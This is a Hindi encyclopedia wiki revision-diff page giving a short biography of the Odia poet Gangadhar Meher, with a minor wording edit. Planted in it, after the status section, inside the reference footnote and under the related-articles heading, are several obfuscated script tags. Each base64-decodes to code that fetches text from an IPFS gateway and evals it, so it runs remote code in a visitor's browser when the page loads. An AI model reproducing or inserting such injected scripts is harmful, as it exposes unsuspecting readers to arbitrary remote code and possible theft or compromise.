"गंगाधर मेहरे" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('thumb|250px|गंगाधर मेहरे '''गंगाधर मेहरे''' (...' के साथ नया पृष्ठ बनाया)
 
 
पंक्ति 3: पंक्ति 3:
  
 
*गंगाधर मेहरे का जन्म एक निर्धन जुलाहा [[परिवार]] में हुआ था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय संस्कृति कोश |लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक= |आलोचक= |प्रकाशक=राजपाल एंड सन्ज, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन=भारतकोश पुस्तकालय |संपादन= |पृष्ठ संख्या=263|url=|ISBN=}}</ref>
 
*गंगाधर मेहरे का जन्म एक निर्धन जुलाहा [[परिवार]] में हुआ था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय संस्कृति कोश |लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक= |आलोचक= |प्रकाशक=राजपाल एंड सन्ज, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन=भारतकोश पुस्तकालय |संपादन= |पृष्ठ संख्या=263|url=|ISBN=}}</ref>
*इन्होंने कपड़े बनते [[कविता]] करना सीखा।
+
*इन्होंने कपड़े बनाते बनाते [[कविता]] करना सीखा।
 
*इनके अनेक काव्य ग्रंथों में 'प्रणय वल्लरी' और 'तपस्विनी' सर्वाधिक प्रसिद्ध हैं।
 
*इनके अनेक काव्य ग्रंथों में 'प्रणय वल्लरी' और 'तपस्विनी' सर्वाधिक प्रसिद्ध हैं।
 
*इन्हें '''उड़िया भाषा का कालिदास''' कहा जाता है।
 
*इन्हें '''उड़िया भाषा का कालिदास''' कहा जाता है।

12:44, 28 जून 2021 के समय का अवतरण

गंगाधर मेहरे

गंगाधर मेहरे (अंग्रेज़ी: Gangadhara Meher, जन्म- 9 अगस्त, 1862; मृत्यु- 4 अप्रैल, 1924) उड़िया भाषा के प्रसिद्ध कवि थे।

  • गंगाधर मेहरे का जन्म एक निर्धन जुलाहा परिवार में हुआ था।[1]
  • इन्होंने कपड़े बनाते बनाते कविता करना सीखा।
  • इनके अनेक काव्य ग्रंथों में 'प्रणय वल्लरी' और 'तपस्विनी' सर्वाधिक प्रसिद्ध हैं।
  • इन्हें उड़िया भाषा का कालिदास कहा जाता है।
  • गंगाधर मेहरे का 4 अप्रैल, 1924 ई. को देहांत हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. भारतीय संस्कृति कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: राजपाल एंड सन्ज, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 263 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>